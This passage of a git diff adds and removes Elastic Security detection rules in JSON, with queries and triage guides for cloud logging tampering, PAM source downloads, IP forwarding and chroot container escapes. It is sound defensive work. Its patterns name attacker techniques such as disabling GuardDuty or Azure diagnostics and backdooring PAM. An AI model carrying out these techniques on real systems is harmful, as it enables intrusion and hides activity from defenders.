expected configurations.\n\n- **Investigation**\n - Review CloudTrail for related privilege escalation or resource tampering events around the deletion time.\n - Assess whether any attacker activity occurred during the monitoring gap between deletion and restoration.\n\n- **Recovery and hardening**\n - Restrict `guardduty:DeleteDetector` permissions to a limited administrative role.\n - Implement AWS Config rules or Security Hub controls to alert on changes to GuardDuty detectors or configuration states.\n - Enforce least privilege IAM policies, ensuring operational automation cannot disable GuardDuty outside maintenance workflows.\n - Document approved GuardDuty maintenance activities and correlate them with change tickets for traceability.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: aws.cloudtrail \n and event.provider: guardduty.amazonaws.com \n and event.action: DeleteDetector \n and event.outcome: success\n", + "references": [ + "https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "523116c0-d89d-4d7c-82c2-39e6845a78ef", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS GuardDuty", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "523116c0-d89d-4d7c-82c2-39e6845a78ef_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de_107.json b/packages/security_detection_engine/kibana/security_rule/5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de_107.json new file mode 100644 index 00000000000..87a6debb907 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de_107.json @@ -0,0 +1,111 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses.", + "false_positives": [ + "Deletion of diagnostic settings may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Diagnostic settings deletion from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-9m", + "history_window_start": "now-7d", + "index": [ + "logs-azure.activitylogs-*", + "filebeat-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "event.action", + "source.ip", + "azure.activitylogs.identity.authorization.evidence.principal_type", + "azure.activitylogs.identity.authorization.evidence.role_assignment_scope", + "azure.activitylogs.properties.entity", + "azure.activitylogs.identity.claims.appid", + "azure.resource.name", + "azure.resource.provider" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "Azure Diagnostic Settings Deletion", + "new_terms_fields": [ + "azure.resource.group" + ], + "note": "## Triage and analysis\n\n### Investigating Azure Diagnostic Settings Deletion\n\nAzure Diagnostic Settings are crucial for monitoring and logging platform activities, sending data to various destinations for analysis. Adversaries may delete these settings to hinder detection and analysis of their activities, effectively evading defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs for successful deletion operations, flagging potential defense evasion attempts.\n\n### Possible investigation steps\n\n- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs.\n- If this is a service principal, determine which application is associated with it and examine credential use with authentication sources to identify potential compromise.\n- Examine the resource group and subscription context to understand the scope of the deletion and whether it affects critical resources.\n- Check the timestamp of the deletion event to determine when the diagnostic settings were removed and correlate this with other security events or alerts around the same time.\n- Investigate the affected resources by identifying which diagnostic settings were deleted and assess the potential impact on monitoring and logging capabilities.\n- Review any recent changes or activities performed by the identified user or service principal to determine if there are other suspicious actions that might indicate malicious intent.\n- Assess the current security posture by ensuring that diagnostic settings are reconfigured and that logging and monitoring are restored to maintain visibility into platform activities.\n\n### False positive analysis\n\n- Examine the service principal or user account involved in the deletion to determine if it is part of an automated process or legitimate administrative activity.\n- Automated scripts or tools used for managing Azure resources might delete diagnostic settings as part of their operation. Review and whitelist these scripts if they are verified as non-threatening.\n- Changes in organizational policy or compliance requirements could lead to legitimate deletions. Confirm with relevant teams if such policy changes are in effect.\n- Test environments often undergo frequent configuration changes, including the deletion of diagnostic settings. Consider excluding these environments from the rule or adjusting the rule to account for their unique behavior.\n- Ensure that any third-party integrations or services with access to Azure resources are reviewed, as they might inadvertently delete diagnostic settings during their operations.\n\n### Response and remediation\n\n- Immediately isolate affected Azure resources to prevent further unauthorized changes or deletions. This may involve temporarily restricting access to the affected subscriptions or resource groups.\n- Review the Azure activity logs to identify the source of the deletion request, including the user account, service principal and IP address involved. This will help determine if the action was authorized or malicious.\n- Recreate the deleted diagnostic settings as soon as possible to restore logging and monitoring capabilities. Ensure that logs are being sent to secure and appropriate destinations.\n- Conduct a thorough investigation of the user account or service principal involved in the deletion. If the account is compromised, reset credentials, and review permissions to ensure they are appropriate and follow the principle of least privilege.\n- Escalate the incident to the security operations team for further analysis and to determine if additional resources or expertise are needed to address the threat.\n- Implement additional monitoring and alerting for similar deletion activities to ensure rapid detection and response to future attempts.\n- Review and update access controls and policies related to diagnostic settings to prevent unauthorized deletions, ensuring that only trusted and necessary personnel have the ability to modify these settings.\n", + "query": "event.dataset:azure.activitylogs\n and azure.activitylogs.operation_name:\"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE\"\n and event.outcome:(Success or success)\n", + "references": [ + "https://docs.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings", + "https://www.microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage/" + ], + "related_integrations": [ + { + "integration": "activitylogs", + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "azure.activitylogs.operation_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: Azure", + "Data Source: Azure Activity Logs", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + }, + { + "id": "T1562.008", + "name": "Disable or Modify Cloud Logs", + "reference": "https://attack.mitre.org/techniques/T1562/008/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 107 + }, + "id": "5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de_107", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/53ef31ea-1f8a-493b-9614-df23d8277232_2.json b/packages/security_detection_engine/kibana/security_rule/53ef31ea-1f8a-493b-9614-df23d8277232_2.json deleted file mode 100644 index a29ae70d7ac..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/53ef31ea-1f8a-493b-9614-df23d8277232_2.json +++ /dev/null @@ -1,110 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects the usage of `curl` or `wget` to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process.", - "false_positives": [ - "Trusted system module updates or allowed Pluggable Authentication Module (PAM) daemon configuration changes." - ], - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*", - "endgame-*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Pluggable Authentication Module (PAM) Source Download", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Pluggable Authentication Module (PAM) Source Download\n\nPluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by downloading its source code to insert backdoors, compromising authentication. The detection rule identifies suspicious downloads of PAM source files using tools like `curl` or `wget`, flagging potential threats to system integrity and user credentials.\n\n### Possible investigation steps\n\n- Review the process details to confirm the use of `curl` or `wget` for downloading the PAM source file, focusing on the `process.name` and `process.args` fields to verify the URL pattern matches the suspicious download.\n- Check the user account associated with the process execution to determine if the activity was initiated by a legitimate user or a potential adversary.\n- Investigate the system's command history and logs to identify any preceding or subsequent commands that might indicate further malicious activity or attempts to compile and install the downloaded PAM source.\n- Examine network logs for any unusual outbound connections or data exfiltration attempts following the download, which could suggest further compromise.\n- Assess the integrity of existing PAM modules on the system to ensure no unauthorized modifications or backdoors have been introduced.\n- Correlate this event with other alerts or anomalies on the same host to identify patterns or a broader attack campaign.\n\n### False positive analysis\n\n- Legitimate system administrators or developers may download PAM source files for testing or development purposes. To handle this, create exceptions for known user accounts or IP addresses that regularly perform such downloads.\n- Automated scripts or configuration management tools might use `curl` or `wget` to download PAM source files as part of routine updates or system setups. Identify these scripts and whitelist their activities to prevent false positives.\n- Security researchers or auditors may download PAM source files to conduct security assessments. Establish a process to verify and approve these activities, allowing exceptions for recognized research teams or individuals.\n- Educational institutions or training environments might download PAM source files for instructional purposes. Implement a policy to exclude these environments from triggering alerts, ensuring they are recognized as non-threatening.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate any active `curl` or `wget` processes identified in the alert to stop the download of potentially malicious PAM source files.\n- Conduct a thorough review of PAM configuration files and shared object files on the affected system to identify and remove any unauthorized modifications or backdoors.\n- Restore the affected system from a known good backup if unauthorized changes to PAM files are detected and cannot be easily reversed.\n- Implement stricter access controls and monitoring on systems handling PAM configurations to prevent unauthorized downloads or modifications in the future.\n- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network.\n- Update detection mechanisms to monitor for similar download attempts and unauthorized modifications to critical authentication components.", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\") and\nprocess.name in (\"curl\", \"wget\") and\nprocess.args like~ \"https://github.com/linux-pam/linux-pam/releases/download/v*/Linux-PAM-*.tar.xz\"\n", - "references": [ - "https://github.com/zephrax/linux-pam-backdoor", - "https://github.com/eurialo/pambd", - "http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html", - "https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "53ef31ea-1f8a-493b-9614-df23d8277232", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Tactic: Persistence", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1543", - "name": "Create or Modify System Process", - "reference": "https://attack.mitre.org/techniques/T1543/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1556", - "name": "Modify Authentication Process", - "reference": "https://attack.mitre.org/techniques/T1556/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 2 - }, - "id": "53ef31ea-1f8a-493b-9614-df23d8277232_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/594e0cbf-86cc-45aa-9ff7-ff27db27d3ed_211.json b/packages/security_detection_engine/kibana/security_rule/594e0cbf-86cc-45aa-9ff7-ff27db27d3ed_211.json new file mode 100644 index 00000000000..49161cd4f60 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/594e0cbf-86cc-45aa-9ff7-ff27db27d3ed_211.json @@ -0,0 +1,105 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope.", + "false_positives": [ + "Trail creations may be made by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Trail creations by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudTrail Log Created", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS CloudTrail Log Created\n\nAWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. This detection identifies\n`CreateTrail` calls so responders can verify destination ownership, encryption, and scope before accepting the change.\n\n#### Possible investigation steps\n\n- **Identify the actor and context**\n - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, `source.ip`.\n - Confirm a related change request exists (onboarding, architecture change).\n- **Validate trail configuration**\n - In `aws.cloudtrail.request_parameters`, verify:\n - `S3BucketName`/`CloudWatchLogsLogGroupArn` belong to your org (no external accounts).\n - `IsMultiRegionTrail=true` and `IncludeGlobalServiceEvents=true` (as per your standard).\n - `KmsKeyId` is an approved CMK; log file validation enabled.\n- **Correlate activity**\n - Look for `PutEventSelectors`, `PutInsightSelectors`, `StartLogging` following creation.\n - Check for prior enumeration: `DescribeTrails`, `ListBuckets`, `GetEventSelectors`.\n\n### False positive analysis\n- **Planned creation**: Onboarding or compliance initiatives often add trails. Validate via ticket and standard template.\n- **Automation**: IaC or control-tower pipelines may create trails on account bootstrap.\n\n### Response and remediation\n- **If unauthorized**\n - Disable or delete the trail; verify and secure the destination S3/CloudWatch resources.\n - Review the actor\u2019s recent changes and rotate credentials if compromise is suspected.\n- **Hardening**\n - Restrict `cloudtrail:CreateTrail` to admin roles.\n - Use AWS Config / Security Hub controls to enforce multi-region, global events, and validated destinations.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"cloudtrail.amazonaws.com\" \n and event.action: \"CreateTrail\" \n and event.outcome: \"success\"\n", + "references": [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_CreateTrail.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/create-trail.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "594e0cbf-86cc-45aa-9ff7-ff27db27d3ed", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS Cloudtrail", + "Use Case: Log Auditing", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1530", + "name": "Data from Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1530/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 211 + }, + "id": "594e0cbf-86cc-45aa-9ff7-ff27db27d3ed_211", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5a138e2e-aec3-4240-9843-56825d0bc569_103.json b/packages/security_detection_engine/kibana/security_rule/5a138e2e-aec3-4240-9843-56825d0bc569_103.json deleted file mode 100644 index 97440e81c84..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/5a138e2e-aec3-4240-9843-56825d0bc569_103.json +++ /dev/null @@ -1,106 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels.", - "from": "now-9m", - "index": [ - "endgame-*", - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "IPv4/IPv6 Forwarding Activity", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating IPv4/IPv6 Forwarding Activity\n\nIPv4/IPv6 forwarding allows a Linux system to route traffic between network interfaces, facilitating network communication. While essential for legitimate network operations, adversaries can exploit this capability to pivot across networks, exfiltrate data, or maintain control channels. The detection rule identifies suspicious command executions that enable IP forwarding, focusing on specific command patterns and processes, thus highlighting potential misuse.\n\n### Possible investigation steps\n\n- Review the process command line details to understand the context in which IP forwarding was enabled, focusing on the specific command patterns identified in the alert.\n- Identify the parent process of the suspicious command execution using the process.parent.executable field to determine if it was initiated by a legitimate or potentially malicious process.\n- Check the user account associated with the process execution to assess if the action was performed by an authorized user or if there are signs of compromised credentials.\n- Investigate recent network activity on the host to identify any unusual traffic patterns or connections that could indicate data exfiltration or lateral movement.\n- Correlate the alert with other security events or logs from the same host or network segment to identify any related suspicious activities or patterns.\n- Assess the system's current configuration and network topology to determine if enabling IP forwarding could have been part of a legitimate administrative task or if it poses a security risk.\n\n### False positive analysis\n\n- Routine administrative tasks may trigger the rule when system administrators enable IP forwarding for legitimate network configuration purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions.\n- Automated scripts or configuration management tools like Ansible or Puppet might execute commands that match the rule's criteria. Identify these tools and exclude their processes from the rule to prevent false alerts.\n- Network testing or troubleshooting activities often require temporary enabling of IP forwarding. Document and exclude these activities when performed by trusted users or during scheduled maintenance windows.\n- Virtualization or container orchestration platforms may enable IP forwarding as part of their normal operations. Recognize these platforms and adjust the rule to ignore their specific processes or command patterns.\n- Security tools or network monitoring solutions might also enable IP forwarding for analysis purposes. Verify these tools and exclude their processes to avoid unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration.\n- Terminate any suspicious processes identified by the detection rule, particularly those enabling IP forwarding, to halt potential lateral movement or data exfiltration.\n- Conduct a thorough review of network traffic logs to identify any unusual or unauthorized connections that may indicate command and control activity.\n- Revert any unauthorized changes to system configurations, specifically those related to IP forwarding settings, to restore the system to its secure state.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised.\n- Implement network segmentation to limit the ability of attackers to pivot between networks in the future.\n- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns associated with IP forwarding misuse.", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"exec_event\") and\nprocess.parent.executable != null and process.command_line like (\n \"*net.ipv4.ip_forward*\", \"*/proc/sys/net/ipv4/ip_forward*\", \"*net.ipv6.conf.all.forwarding*\",\n \"*/proc/sys/net/ipv6/conf/all/forwarding*\"\n) and (\n (process.name == \"sysctl\" and process.args like (\"*-w*\", \"*--write*\", \"*=*\")) or\n (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line like \"*echo *\"\n )\n) and\nnot process.parent.name like~ (\"privsep-helper\", \"platform-python*\", \"init.ipv6-global\", \"wsl-bootstrap\")\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "5a138e2e-aec3-4240-9843-56825d0bc569", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Data Source: SentinelOne", - "Data Source: Elastic Endgame", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1572", - "name": "Protocol Tunneling", - "reference": "https://attack.mitre.org/techniques/T1572/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 103 - }, - "id": "5a138e2e-aec3-4240-9843-56825d0bc569_103", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5ae02ebc-a5de-4eac-afe6-c88de696477d_104.json b/packages/security_detection_engine/kibana/security_rule/5ae02ebc-a5de-4eac-afe6-c88de696477d_104.json deleted file mode 100644 index 7c37fae61b1..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/5ae02ebc-a5de-4eac-afe6-c88de696477d_104.json +++ /dev/null @@ -1,113 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Potential Chroot Container Escape via Mount", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Chroot Container Escape via Mount\n\nChroot and mount are Linux utilities that can isolate processes and manage file systems, respectively. Adversaries may exploit these to escape containerized environments by mounting the host's root file system and using chroot to change the root directory, gaining unauthorized access. The detection rule identifies this rare sequence by monitoring for mount and chroot executions within a short timeframe, signaling potential privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the alert to understand which system and parent process are involved.\n- Examine the process execution timeline to confirm the sequence of the mount and chroot commands, ensuring they occurred within the specified maxspan of 5 minutes.\n- Investigate the process.args field for the mount command to determine the specific device or file system being targeted, especially focusing on any /dev/sd* entries that suggest attempts to access physical disks.\n- Check the user permissions and roles associated with the process.parent.name (e.g., bash, dash, sh) to assess if the user had sufficient privileges to perform such operations.\n- Analyze the broader context of the host.os.type to identify any recent changes or anomalies in the Linux environment that could have facilitated this behavior.\n- Correlate with other security logs or alerts from the same host to identify any additional suspicious activities or patterns that might indicate a broader attack or compromise.\n\n### False positive analysis\n\n- System maintenance scripts may trigger the rule if they involve mounting and chroot operations. Review scheduled tasks and scripts to identify legitimate use and consider excluding these specific processes from the rule.\n- Backup or recovery operations that require mounting file systems and changing root directories can also cause false positives. Identify these operations and create exceptions for the associated processes or users.\n- Development or testing environments where users frequently perform mount and chroot operations for legitimate purposes may trigger alerts. Evaluate the necessity of these actions and exclude known safe processes or users.\n- Automated deployment tools that use mount and chroot as part of their setup routines can be mistaken for malicious activity. Verify the tools and their processes, then add them to an exclusion list if they are deemed safe.\n- Custom scripts executed by trusted users that involve mount and chroot should be reviewed. If these scripts are part of regular operations, consider excluding them from the detection rule.\n\n### Response and remediation\n\n- Immediately isolate the affected container to prevent further unauthorized access or potential lateral movement within the host system.\n- Terminate any suspicious processes identified as executing the mount or chroot commands within the container to halt any ongoing escape attempts.\n- Conduct a thorough review of the container's permissions and configurations to ensure that only necessary privileges are granted, reducing the risk of similar exploits.\n- Inspect the host system for any signs of compromise or unauthorized access, focusing on logs and system changes around the time of the detected activity.\n- Restore the container from a known good backup if any unauthorized changes or compromises are detected, ensuring the environment is clean and secure.\n- Update and patch the container and host systems to address any known vulnerabilities that could be exploited for privilege escalation or container escape.\n- Escalate the incident to the security operations team for further analysis and to determine if additional monitoring or security measures are required to prevent future occurrences.", - "query": "sequence by host.id, process.parent.entity_id with maxspan=5m\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and\n process.name == \"mount\" and process.args : \"/dev/sd*\" and process.args_count >= 3 and\n process.parent.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")]\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and\n process.name == \"chroot\"]\n", - "references": [ - "https://book.hacktricks.xyz/v/portugues-ht/linux-hardening/privilege-escalation/escaping-from-limited-bash" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.id", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args_count", - "type": "long" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "5ae02ebc-a5de-4eac-afe6-c88de696477d", - "setup": "## Setup\n\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional 